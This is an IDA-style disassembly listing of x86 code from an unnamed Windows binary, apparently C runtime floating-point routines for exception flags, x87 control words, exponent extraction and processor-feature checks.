mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CCA0, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB2A8, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CCA0, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2650383h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C8A0 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C890 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C8A0 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C8A0 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C890 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C890 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB2A8, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB2A8, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C7B8 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C890 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C7BC[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C8B8 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C8B8 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C8C4 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2670C94h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26A0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C534, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C538 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= 